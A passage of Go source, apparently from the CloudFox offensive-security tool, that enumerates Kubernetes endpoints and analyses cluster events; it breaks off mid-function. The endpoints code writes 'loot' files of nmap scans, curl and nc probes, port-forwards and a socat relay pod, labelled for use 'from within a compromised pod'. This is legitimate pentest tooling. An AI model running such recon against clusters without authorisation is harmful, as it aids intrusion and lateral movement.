allEndpoints, err := sdk.GetEndpoints(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "endpoints", shared.GetNamespaceOrAll(), err, globals.K8S_ENDPOINTS_MODULE_NAME, true)
|
||||
return
|
||||
}
|
||||
|
||||
// Filter by target namespace if specified
|
||||
targetNS := shared.GetNamespaceOrAll()
|
||||
var endpoints []v1.Endpoints
|
||||
for _, ep := range allEndpoints {
|
||||
if targetNS == "" || ep.Namespace == targetNS {
|
||||
endpoints = append(endpoints, ep)
|
||||
}
|
||||
}
|
||||
|
||||
headers := []string{
|
||||
"Namespace", "Service Name", "Hostname", "IP", "Port", "Protocol",
|
||||
"Service Type", "Exposure", "Auth", "Readiness",
|
||||
"Pod Name", "Service Account", "Description",
|
||||
}
|
||||
|
||||
var outputRows [][]string
|
||||
var findings []EndpointFinding
|
||||
|
||||
// Risk level counters
|
||||
riskCounts := shared.NewRiskCounts()
|
||||
|
||||
// Loot collections
|
||||
loot := shared.NewLootBuilder()
|
||||
|
||||
// Initialize two loot files
|
||||
// 1. Network commands (nmap, curl, nc) - for use from within a pod
|
||||
netCmds := loot.Section("Endpoint-Network-Commands")
|
||||
netCmds.Add("═══════════════════════════════════════════════════════════════")
|
||||
netCmds.Add(" ENDPOINT NETWORK COMMANDS (nmap, curl, nc)")
|
||||
netCmds.Add("═══════════════════════════════════════════════════════════════")
|
||||
netCmds.Add("")
|
||||
netCmds.Add("# Run these commands from within a compromised pod")
|
||||
netCmds.Add("# Install tools: apk add nmap curl netcat-openbsd")
|
||||
netCmds.Add("")
|
||||
|
||||
// 2. Port-forward commands - kubectl commands from outside
|
||||
pfCmds := loot.Section("Endpoint-PortForward")
|
||||
pfCmds.Add("═══════════════════════════════════════════════════════════════")
|
||||
pfCmds.Add(" ENDPOINT PORT-FORWARD COMMANDS (kubectl)")
|
||||
pfCmds.Add("═══════════════════════════════════════════════════════════════")
|
||||
pfCmds.Add("")
|
||||
|
||||
if globals.KubeContext != "" {
|
||||
pfCmds.Addf("kubectl config use-context %s", globals.KubeContext)
|
||||
pfCmds.Add("")
|
||||
}
|
||||
|
||||
// Process traditional Endpoints
|
||||
for _, endpoint := range endpoints {
|
||||
if len(endpoint.Subsets) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
namespace := endpoint.Namespace
|
||||
serviceName := endpoint.Name
|
||||
|
||||
// Try to get the associated Service for more context
|
||||
svc, _ := clientset.CoreV1().Services(namespace).Get(ctx, serviceName, metav1.GetOptions{})
|
||||
isExternal := false
|
||||
if svc != nil {
|
||||
if svc.Spec.Type == "LoadBalancer" || svc.Spec.Type == "NodePort" || len(svc.Spec.ExternalIPs) > 0 {
|
||||
isExternal = true
|
||||
}
|
||||
}
|
||||
|
||||
// Process each subset
|
||||
for _, subset := range endpoint.Subsets {
|
||||
// Process ready addresses
|
||||
for _, addr := range subset.Addresses {
|
||||
processEndpointAddress(ctx, clientset, &findings, &outputRows, riskCounts,
|
||||
namespace, serviceName, addr, subset.Ports, "Ready", isExternal, loot)
|
||||
}
|
||||
|
||||
// Process not-ready addresses
|
||||
for _, addr := range subset.NotReadyAddresses {
|
||||
processEndpointAddress(ctx, clientset, &findings, &outputRows, riskCounts,
|
||||
namespace, serviceName, addr, subset.Ports, "NotReady", isExternal, loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Generate loot content from findings
|
||||
generateEndpointLootSections(loot, findings)
|
||||
|
||||
// Define table and loot files
|
||||
table := internal.TableFile{
|
||||
Name: "Endpoints",
|
||||
Header: headers,
|
||||
Body: outputRows,
|
||||
}
|
||||
|
||||
lootFiles := loot.Build()
|
||||
|
||||
// Output everything
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"Endpoints",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
EndpointsOutput{
|
||||
Table: []internal.TableFile{table},
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_ENDPOINTS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
if len(outputRows) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("%d endpoints found | Risk: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
len(outputRows),
|
||||
riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low),
|
||||
globals.K8S_ENDPOINTS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No endpoints found, skipping output file creation", globals.K8S_ENDPOINTS_MODULE_NAME)
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_ENDPOINTS_MODULE_NAME), globals.K8S_ENDPOINTS_MODULE_NAME)
|
||||
}
|
||||
|
||||
func processEndpointAddress(
|
||||
ctx context.Context,
|
||||
clientset *kubernetes.Clientset,
|
||||
findings *[]EndpointFinding,
|
||||
outputRows *[][]string,
|
||||
riskCounts *shared.RiskCounts,
|
||||
namespace string,
|
||||
serviceName string,
|
||||
addr v1.EndpointAddress,
|
||||
ports []v1.EndpointPort,
|
||||
readiness string,
|
||||
isExternal bool,
|
||||
loot *shared.LootBuilder,
|
||||
) {
|
||||
ip := addr.IP
|
||||
hostname := addr.Hostname
|
||||
targetRef := formatTargetRef(addr.TargetRef)
|
||||
|
||||
// Get pod details if target is a pod
|
||||
podName := ""
|
||||
serviceAccount := ""
|
||||
if addr.TargetRef != nil && addr.TargetRef.Kind == "Pod" {
|
||||
podName = addr.TargetRef.Name
|
||||
pod, err := clientset.CoreV1().Pods(addr.TargetRef.Namespace).Get(ctx, addr.TargetRef.Name, metav1.GetOptions{})
|
||||
if err == nil {
|
||||
serviceAccount = pod.Spec.ServiceAccountName
|
||||
}
|
||||
}
|
||||
|
||||
// Process each port
|
||||
for _, port := range ports {
|
||||
portNum := port.Port
|
||||
protocol := string(port.Protocol)
|
||||
|
||||
// Classify service
|
||||
classification := k8sinternal.ClassifyServiceByPort(portNum)
|
||||
|
||||
// Check if unauthenticated
|
||||
hasAuth := !k8sinternal.IsUnauthenticatedService(portNum, serviceName)
|
||||
|
||||
// Calculate risk
|
||||
riskLevel := k8sinternal.GetServiceRiskLevel(
|
||||
classification.Type,
|
||||
portNum,
|
||||
isExternal,
|
||||
readiness == "Ready",
|
||||
hasAuth,
|
||||
)
|
||||
|
||||
riskCounts.Add(riskLevel)
|
||||
|
||||
// Determine if endpoint is external (service type OR IP is public)
|
||||
ipIsExternal := ip != "" && !isPrivateIP(ip)
|
||||
endpointIsExternal := isExternal || ipIsExternal
|
||||
|
||||
// Create finding
|
||||
finding := EndpointFinding{
|
||||
Namespace: namespace,
|
||||
ServiceName: serviceName,
|
||||
EndpointIP: ip,
|
||||
Port: portNum,
|
||||
Protocol: protocol,
|
||||
Readiness: readiness,
|
||||
ServiceType: classification.Type,
|
||||
ServiceDesc: classification.Description,
|
||||
RiskLevel: riskLevel,
|
||||
IsExternal: endpointIsExternal,
|
||||
HasAuth: hasAuth,
|
||||
PodName: podName,
|
||||
ServiceAccount: serviceAccount,
|
||||
TargetRef: targetRef,
|
||||
Hostname: hostname,
|
||||
}
|
||||
*findings = append(*findings, finding)
|
||||
|
||||
// Build table row
|
||||
// Determine exposure label for display
|
||||
exposure := "Internal"
|
||||
if endpointIsExternal {
|
||||
if ipIsExternal && !isExternal {
|
||||
exposure = "External (IP)" // IP itself is external, even if service isn't LoadBalancer/NodePort
|
||||
} else {
|
||||
exposure = "External"
|
||||
}
|
||||
}
|
||||
|
||||
authStatus := "Yes"
|
||||
if !hasAuth {
|
||||
authStatus = "No"
|
||||
}
|
||||
|
||||
// Truncate description if too long
|
||||
desc := classification.Description
|
||||
if len(desc) > 30 {
|
||||
desc = desc[:27] + "..."
|
||||
}
|
||||
|
||||
row := []string{
|
||||
namespace,
|
||||
serviceName,
|
||||
k8sinternal.NonEmpty(hostname),
|
||||
k8sinternal.NonEmpty(ip),
|
||||
fmt.Sprintf("%d", portNum),
|
||||
protocol,
|
||||
classification.Type,
|
||||
exposure,
|
||||
authStatus,
|
||||
readiness,
|
||||
k8sinternal.NonEmpty(podName),
|
||||
k8sinternal.NonEmpty(serviceAccount),
|
||||
desc,
|
||||
}
|
||||
*outputRows = append(*outputRows, row)
|
||||
|
||||
// Store endpoint info for later loot generation
|
||||
// The actual loot content is generated after all endpoints are processed
|
||||
}
|
||||
}
|
||||
|
||||
func formatTargetRef(ref *v1.ObjectReference) string {
|
||||
if ref == nil {
|
||||
return "<NONE>"
|
||||
}
|
||||
return fmt.Sprintf("%s/%s", ref.Kind, ref.Name)
|
||||
}
|
||||
|
||||
// isPrivateIP checks if an IP address is in a private/internal range
|
||||
func isPrivateIP(ipStr string) bool {
|
||||
ip := net.ParseIP(ipStr)
|
||||
if ip == nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// Private and internal IP ranges
|
||||
privateRanges := []string{
|
||||
"10.0.0.0/8", // RFC1918 Class A
|
||||
"172.16.0.0/12", // RFC1918 Class B
|
||||
"192.168.0.0/16", // RFC1918 Class C
|
||||
"127.0.0.0/8", // Loopback
|
||||
"169.254.0.0/16", // Link-local
|
||||
"100.64.0.0/10", // Carrier-grade NAT (RFC6598)
|
||||
"fc00::/7", // IPv6 unique local
|
||||
"fe80::/10", // IPv6 link-local
|
||||
"::1/128", // IPv6 loopback
|
||||
}
|
||||
|
||||
for _, cidr := range privateRanges {
|
||||
_, network, err := net.ParseCIDR(cidr)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if network.Contains(ip) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// generateEndpointLootSections creates two loot files: network commands and port-forward commands
|
||||
func generateEndpointLootSections(loot *shared.LootBuilder, findings []EndpointFinding) {
|
||||
netCmds := loot.Section("Endpoint-Network-Commands")
|
||||
pfCmds := loot.Section("Endpoint-PortForward")
|
||||
|
||||
// Collect unique IPs for nmap
|
||||
ipSet := make(map[string]bool)
|
||||
for _, f := range findings {
|
||||
if f.EndpointIP != "" {
|
||||
ipSet[f.EndpointIP] = true
|
||||
}
|
||||
}
|
||||
ips := make([]string, 0, len(ipSet))
|
||||
for ip := range ipSet {
|
||||
ips = append(ips, ip)
|
||||
}
|
||||
sort.Strings(ips)
|
||||
|
||||
// ============================================
|
||||
// Network Commands (nmap, curl, nc)
|
||||
// ============================================
|
||||
|
||||
// Nmap section
|
||||
netCmds.Add("##############################################")
|
||||
netCmds.Add("## NMAP SCANS")
|
||||
netCmds.Add("##############################################")
|
||||
netCmds.Add("")
|
||||
|
||||
if len(ips) > 0 {
|
||||
netCmds.Add("# Quick service scan of all endpoint IPs")
|
||||
for _, ip := range ips {
|
||||
netCmds.Addf("nmap -sV -T4 %s", ip)
|
||||
}
|
||||
netCmds.Add("")
|
||||
|
||||
netCmds.Add("# Full port scan (slower)")
|
||||
for _, ip := range ips {
|
||||
netCmds.Addf("nmap -sV -p- %s", ip)
|
||||
}
|
||||
netCmds.Add("")
|
||||
}
|
||||
|
||||
// Curl/nc section organized by service type
|
||||
netCmds.Add("##############################################")
|
||||
netCmds.Add("## CURL / NETCAT COMMANDS")
|
||||
netCmds.Add("##############################################")
|
||||
netCmds.Add("")
|
||||
|
||||
for _, f := range findings {
|
||||
endpointID := fmt.Sprintf("%s/%s:%d", f.Namespace, f.ServiceName, f.Port)
|
||||
|
||||
// Generate appropriate commands based on port/protocol
|
||||
if f.Protocol == "TCP" {
|
||||
// HTTP ports
|
||||
if f.Port == 80 || f.Port == 8080 || f.Port == 8000 || f.Port == 8888 || f.Port == 3000 {
|
||||
netCmds.Addf("# %s (%s)", endpointID, f.ServiceDesc)
|
||||
netCmds.Addf("curl -sv http://%s:%d/", f.EndpointIP, f.Port)
|
||||
netCmds.Add("")
|
||||
} else if f.Port == 443 || f.Port == 8443 || f.Port == 6443 {
|
||||
// HTTPS ports
|
||||
netCmds.Addf("# %s (%s)", endpointID, f.ServiceDesc)
|
||||
netCmds.Addf("curl -skv https://%s:%d/", f.EndpointIP, f.Port)
|
||||
netCmds.Add("")
|
||||
} else if f.ServiceType == "Database" {
|
||||
// Database ports - nc check
|
||||
netCmds.Addf("# %s (%s)", endpointID, f.ServiceDesc)
|
||||
netCmds.Addf("nc -zv %s %d", f.EndpointIP, f.Port)
|
||||
connStr := k8sinternal.GetDatabaseConnectionString(f.ServiceDesc, f.EndpointIP, f.Port, "<user>", "<database>")
|
||||
if connStr != "" {
|
||||
netCmds.Add(connStr)
|
||||
}
|
||||
netCmds.Add("")
|
||||
} else {
|
||||
// Other TCP ports - nc check
|
||||
netCmds.Addf("# %s (%s)", endpointID, f.ServiceDesc)
|
||||
netCmds.Addf("nc -zv %s %d", f.EndpointIP, f.Port)
|
||||
netCmds.Add("")
|
||||
}
|
||||
} else if f.Protocol == "UDP" {
|
||||
netCmds.Addf("# %s (%s) [UDP]", endpointID, f.ServiceDesc)
|
||||
netCmds.Addf("nc -zuv %s %d", f.EndpointIP, f.Port)
|
||||
netCmds.Add("")
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// Port-Forward Commands (kubectl)
|
||||
// ============================================
|
||||
|
||||
// Track unique service/port combinations to avoid duplicates
|
||||
seen := make(map[string]bool)
|
||||
|
||||
pfCmds.Add("##############################################")
|
||||
pfCmds.Add("## TCP PORT-FORWARDS")
|
||||
pfCmds.Add("##############################################")
|
||||
pfCmds.Add("")
|
||||
|
||||
for _, f := range findings {
|
||||
if f.Protocol != "TCP" {
|
||||
continue
|
||||
}
|
||||
key := fmt.Sprintf("%s/%s:%d", f.Namespace, f.ServiceName, f.Port)
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
|
||||
pfCmds.Addf("# %s (%s)", key, f.ServiceDesc)
|
||||
pfCmds.Addf("kubectl -n %s port-forward svc/%s %d:%d", f.Namespace, f.ServiceName, f.Port, f.Port)
|
||||
pfCmds.Add("")
|
||||
}
|
||||
|
||||
// UDP section
|
||||
hasUDP := false
|
||||
for _, f := range findings {
|
||||
if f.Protocol == "UDP" {
|
||||
hasUDP = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if hasUDP {
|
||||
pfCmds.Add("##############################################")
|
||||
pfCmds.Add("## UDP PORT-FORWARDS (via socat pod)")
|
||||
pfCmds.Add("##############################################")
|
||||
pfCmds.Add("")
|
||||
pfCmds.Add("# kubectl port-forward doesn't support UDP")
|
||||
pfCmds.Add("# Use a socat pod as a relay instead")
|
||||
pfCmds.Add("")
|
||||
|
||||
seen = make(map[string]bool)
|
||||
for _, f := range findings {
|
||||
if f.Protocol != "UDP" {
|
||||
continue
|
||||
}
|
||||
key := fmt.Sprintf("%s/%s:%d", f.Namespace, f.ServiceName, f.Port)
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
|
||||
pfCmds.Addf("# %s (%s)", key, f.ServiceDesc)
|
||||
pfCmds.Addf("kubectl run udp-relay-%d --image=alpine --restart=Never -n %s -- sh -c 'apk add --no-cache socat && socat UDP4-LISTEN:%d,fork UDP4:%s:%d'",
|
||||
f.Port, f.Namespace, f.Port, f.EndpointIP, f.Port)
|
||||
pfCmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,623 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
)
|
||||
|
||||
var EventsCmd = &cobra.Command{
|
||||
Use: "events",
|
||||
Aliases: []string{"event", "ev"},
|
||||
Short: "Analyze Kubernetes events for security insights",
|
||||
Long: `
|
||||
Analyze Kubernetes events with security-focused categorization including:
|
||||
- Failed pod scheduling (resource exhaustion, taint mismatches)
|
||||
- Image pull failures (registry access, credential issues)
|
||||
- Admission webhook denials (policy violations)
|
||||
- Volume mount failures (permission/security issues)
|
||||
- OOMKilled events (DoS indicators, resource limits)
|
||||
- Eviction events (node pressure, capacity issues)
|
||||
- Security policy violations (PSP/PSA denials)
|
||||
- Authentication/authorization failures
|
||||
- Failed probe events (liveness/readiness failures)
|
||||
- Node events (NotReady, pressure conditions)
|
||||
- Event frequency analysis (potential attacks)
|
||||
- Timeline-based security analysis
|
||||
|
||||
Examples:
|
||||
# Show all events
|
||||
cloudfox kubernetes events
|
||||
|
||||
# Search for events related to a service account
|
||||
cloudfox kubernetes events --search "my-service-account"
|
||||
|
||||
# Search for permission/authorization issues
|
||||
cloudfox kubernetes events --search "forbidden"
|
||||
cloudfox kubernetes events --search "unauthorized"
|
||||
|
||||
# Search for specific pod or deployment events
|
||||
cloudfox kubernetes events --search "nginx-deployment"
|
||||
|
||||
# Search for OOM or memory issues
|
||||
cloudfox kubernetes events --search "oomkilled"
|
||||
|
||||
# Combine with limit
|
||||
cloudfox kubernetes events --search "failed" --limit 100`,
|
||||
Run: ListEvents,
|
||||
}
|
||||
|
||||
func init() {
|
||||
EventsCmd.Flags().BoolP("all", "a", false, "Show all events (no limit)")
|
||||
EventsCmd.Flags().IntP("limit", "l", 500, "Maximum number of events to display")
|
||||
EventsCmd.Flags().String("search", "", "Filter events by keyword (searches name, namespace, reason, message)")
|
||||
}
|
||||
|
||||
type EventsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t EventsOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t EventsOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type EventAnalysis struct {
|
||||
Namespace string
|
||||
Kind string
|
||||
Name string
|
||||
Reason string
|
||||
Message string
|
||||
Type string
|
||||
Count int32
|
||||
FirstSeen time.Time
|
||||
LastSeen time.Time
|
||||
Source string
|
||||
InvolvedObject string
|
||||
Category string
|
||||
Severity string
|
||||
SecurityIssue string
|
||||
RiskScore int
|
||||
}
|
||||
|
||||
type EventSummary struct {
|
||||
Namespace string
|
||||
TotalEvents int
|
||||
WarningEvents int
|
||||
ErrorEvents int
|
||||
SecurityEvents int
|
||||
FailedScheduling int
|
||||
ImagePullFailures int
|
||||
OOMKilled int
|
||||
Evictions int
|
||||
VolumeMountFails int
|
||||
AdmissionDenials int
|
||||
AuthFailures int
|
||||
RiskLevel string
|
||||
RiskScore int
|
||||
TopIssues []string
|
||||
}
|
||||
|
||||
// Using shared.RiskCritical, shared.RiskHigh, shared.RiskMedium, shared.RiskLow constants
|
||||
|
||||
func ListEvents(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
// Event-specific flags
|
||||
showAll, _ := cmd.Flags().GetBool("all")
|
||||
limit, _ := cmd.Flags().GetInt("limit")
|
||||
searchQuery, _ := cmd.Flags().GetString("search")
|
||||
|
||||
if searchQuery != "" {
|
||||
logger.InfoM(fmt.Sprintf("Analyzing events for %s (filtering by: %q)", globals.ClusterName, searchQuery), globals.K8S_EVENTS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM(fmt.Sprintf("Analyzing events for %s", globals.ClusterName), globals.K8S_EVENTS_MODULE_NAME)
|
||||
}
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
// Fetch events from cache
|
||||
allEvents, err := sdk.GetEvents(ctx, clientset)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching Events: %v", err), globals.K8S_EVENTS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Filter by target namespace if specified
|
||||
targetNS := shared.GetNamespaceOrAll()
|
||||
var eventsList []corev1.Event
|
||||
if targetNS == "" {
|
||||
eventsList = allEvents
|
||||
} else {
|
||||
for _, event := range allEvents {
|
||||
if event.Namespace == targetNS {
|
||||
eventsList = append(eventsList, event)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Filter events by search query if provided
|
||||
filteredEvents := eventsList
|
||||
if searchQuery != "" {
|
||||
filteredEvents = filterEventsBySearch(eventsList, searchQuery)
|
||||
logger.InfoM(fmt.Sprintf("Found %d events matching %q (out of %d total)", len(filteredEvents), searchQuery, len(eventsList)), globals.K8S_EVENTS_MODULE_NAME)
|
||||
}
|
||||
|
||||
var eventAnalyses []EventAnalysis
|
||||
loot := shared.NewLootBuilder()
|
||||
|
||||
namespaceStats := make(map[string]*EventSummary)
|
||||
|
||||
// Analyze each event
|
||||
for _, event := range filteredEvents {
|
||||
analysis := EventAnalysis{
|
||||
Namespace: event.Namespace,
|
||||
Kind: event.InvolvedObject.Kind,
|
||||
Name: event.InvolvedObject.Name,
|
||||
Reason: event.Reason,
|
||||
Message: event.Message,
|
||||
Type: event.Type,
|
||||
Count: event.Count,
|
||||
FirstSeen: event.FirstTimestamp.Time,
|
||||
LastSeen: event.LastTimestamp.Time,
|
||||
Source: fmt.Sprintf("%s/%s", event.Source.Component, event.Source.Host),
|
||||
InvolvedObject: fmt.Sprintf("%s/%s", event.InvolvedObject.Kind, event.InvolvedObject.Name),
|
||||
}
|
||||
|
||||
// Categorize and assess security risk
|
||||
analysis.Category, analysis.Severity, analysis.SecurityIssue = categorizeEvent(&event)
|
||||
analysis.RiskScore = calculateEventRiskScore(&analysis, &event)
|
||||
|
||||
// Track in namespace stats
|
||||
if namespaceStats[event.Namespace] == nil {
|
||||
namespaceStats[event.Namespace] = &EventSummary{
|
||||
Namespace: event.Namespace,
|
||||
}
|
||||
}
|
||||
stats := namespaceStats[event.Namespace]
|
||||
stats.TotalEvents++
|
||||
if event.Type == "Warning" {
|
||||
stats.WarningEvents++
|
||||
}
|
||||
|
||||
// Track category counts for summary
|
||||
if analysis.Category == "Security" {
|
||||
stats.SecurityEvents++
|
||||
}
|
||||
if strings.Contains(analysis.Reason, "FailedScheduling") {
|
||||
stats.FailedScheduling++
|
||||
}
|
||||
if strings.Contains(analysis.Reason, "Failed") && strings.Contains(strings.ToLower(analysis.Message), "image") {
|
||||
stats.ImagePullFailures++
|
||||
}
|
||||
if strings.Contains(analysis.Reason, "OOMKilled") {
|
||||
stats.OOMKilled++
|
||||
}
|
||||
if strings.Contains(analysis.Reason, "FailedMount") || strings.Contains(analysis.Reason, "FailedAttachVolume") {
|
||||
stats.VolumeMountFails++
|
||||
}
|
||||
if strings.Contains(strings.ToLower(analysis.Message), "admission") && strings.Contains(strings.ToLower(analysis.Message), "denied") {
|
||||
stats.AdmissionDenials++
|
||||
}
|
||||
if strings.Contains(strings.ToLower(analysis.Reason), "unauthorized") || strings.Contains(strings.ToLower(analysis.Reason), "forbidden") {
|
||||
stats.AuthFailures++
|
||||
}
|
||||
|
||||
eventAnalyses = append(eventAnalyses, analysis)
|
||||
}
|
||||
|
||||
// Calculate namespace risk scores
|
||||
var summaries []EventSummary
|
||||
for _, stats := range namespaceStats {
|
||||
stats.RiskScore = calculateNamespaceEventRiskScore(stats)
|
||||
stats.RiskLevel = eventRiskScoreToLevel(stats.RiskScore)
|
||||
stats.TopIssues = identifyTopIssues(stats)
|
||||
summaries = append(summaries, *stats)
|
||||
}
|
||||
|
||||
// Add Event-Commands section with kubectl commands
|
||||
loot.Section("Event-Commands").Add(generateEventCommands(summaries))
|
||||
|
||||
// Generate loot files
|
||||
lootFiles := loot.Build()
|
||||
|
||||
// Generate tables
|
||||
eventTable := generateEventTable(eventAnalyses, limit, showAll)
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"Events",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
EventsOutput{
|
||||
Table: []internal.TableFile{eventTable},
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_EVENTS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Summary logging
|
||||
if len(filteredEvents) > 0 {
|
||||
securityCount := 0
|
||||
oomCount := 0
|
||||
warningCount := 0
|
||||
for _, event := range filteredEvents {
|
||||
if event.Type == "Warning" {
|
||||
warningCount++
|
||||
}
|
||||
}
|
||||
// Count from stats
|
||||
for _, stats := range namespaceStats {
|
||||
securityCount += stats.SecurityEvents
|
||||
oomCount += stats.OOMKilled
|
||||
}
|
||||
logger.InfoM(fmt.Sprintf("%d events analyzed | Warnings: %d | Security: %d | OOMKilled: %d | Namespaces: %d",
|
||||
len(filteredEvents), warningCount, securityCount, oomCount, len(summaries)),
|
||||
globals.K8S_EVENTS_MODULE_NAME)
|
||||
} else {
|
||||
if searchQuery != "" {
|
||||
logger.InfoM(fmt.Sprintf("No events found matching %q", searchQuery), globals.K8S_EVENTS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No events found", globals.K8S_EVENTS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func categorizeEvent(event *corev1.Event) (category string, severity string, securityIssue string) {
|
||||
reason := strings.ToLower(event.Reason)
|
||||
message := strings.ToLower(event.Message)
|
||||
|
||||
// Security-related events
|
||||
if strings.Contains(reason, "unauthorized") || strings.Contains(reason, "forbidden") {
|
||||
return "Security", shared.RiskCritical, "Authentication/Authorization failure"
|
||||
}
|
||||
if strings.Contains(message, "admission") && strings.Contains(message, "denied") {
|
||||
return "Security", shared.RiskHigh, "Admission policy violation"
|
||||
}
|
||||
if strings.Contains(reason, "failedcreate") && strings.Contains(message, "forbidden") {
|
||||
return "Security", shared.RiskHigh, "RBAC permission denied"
|
||||
}
|
||||
if strings.Contains(message, "securitycontext") || strings.Contains(message, "podsecuritypolicy") {
|
||||
return "Security", shared.RiskHigh, "Pod security policy violation"
|
||||
}
|
||||
|
||||
// Resource exhaustion (DoS indicators)
|
||||
if strings.Contains(reason, "oomkilled") {
|
||||
return "Resource", shared.RiskHigh, "Out of memory (potential DoS)"
|
||||
}
|
||||
if strings.Contains(reason, "evicted") {
|
||||
return "Resource", shared.RiskMedium, "Pod evicted due to resource pressure"
|
||||
}
|
||||
if strings.Contains(reason, "failedscheduling") {
|
||||
if strings.Contains(message, "insufficient") {
|
||||
return "Resource", shared.RiskMedium, "Insufficient cluster resources"
|
||||
}
|
||||
return "Scheduling", shared.RiskMedium, "Pod scheduling failure"
|
||||
}
|
||||
|
||||
// Image and registry issues
|
||||
if strings.Contains(reason, "failed") && strings.Contains(message, "image") {
|
||||
if strings.Contains(message, "unauthorized") || strings.Contains(message, "authentication") {
|
||||
return "Security", shared.RiskHigh, "Image registry authentication failure"
|
||||
}
|
||||
return "Image", shared.RiskMedium, "Image pull failure"
|
||||
}
|
||||
|
||||
// Volume and storage issues
|
||||
if strings.Contains(reason, "failedmount") || strings.Contains(reason, "failedattachvolume") {
|
||||
if strings.Contains(message, "permission") || strings.Contains(message, "denied") {
|
||||
return "Security", shared.RiskHigh, "Volume mount permission denied"
|
||||
}
|
||||
return "Volume", shared.RiskMedium, "Volume mount failure"
|
||||
}
|
||||
|
||||
// Probe failures
|
||||
if strings.Contains(reason, "unhealthy") {
|
||||
return "Health", shared.RiskLow, "Liveness/readiness probe failure"
|
||||
}
|
||||
|
||||
// Node issues
|
||||
if strings.Contains(reason, "nodenotready") {
|
||||
return "Node", shared.RiskHigh, "Node not ready"
|
||||
}
|
||||
|
||||
// Default
|
||||
if event.Type == "Warning" {
|
||||
return "General", shared.RiskLow, "Warning event"
|
||||
}
|
||||
return "Info", shared.RiskLow, "Informational"
|
||||
}
|
||||
|
||||
func calculateEventRiskScore(analysis *EventAnalysis, event *corev1.Event) int {
|
||||
score := 0
|
||||
|
||||
// Base score by severity
|
||||
switch analysis.Severity {
|
||||
case shared.RiskCritical:
|
||||
score += 40
|
||||
case shared.RiskHigh:
|
||||
score += 30
|
||||
case shared.RiskMedium:
|
||||
score += 20
|
||||
case shared.RiskLow:
|
||||
score += 10
|
||||
}
|
||||
|
||||
// Frequency multiplier
|
||||
if event.Count > 100 {
|
||||
score += 30
|
||||
} else if event.Count > 50 {
|
||||
score += 20
|
||||
} else if event.Count > 10 {
|
||||
score += 10
|
||||
}
|
||||
|
||||
// Recent events are higher risk
|
||||
if time.Since(event.LastTimestamp.Time) < 1*time.Hour {
|
||||
score += 20
|
||||
} else if time.Since(event.LastTimestamp.Time) < 24*time.Hour {
|
||||
score += 10
|
||||
}
|
||||
|
||||
// Security category
|
||||
if analysis.Category == "Security" {
|
||||
score += 25
|
||||
}
|
||||
|
||||
return score
|
||||
}
|
||||
|
||||
func calculateNamespaceEventRiskScore(stats *EventSummary) int {
|
||||
score := 0
|
||||
|
||||
// Security events
|
||||
if stats.SecurityEvents > 10 {
|
||||
score += 40
|
||||
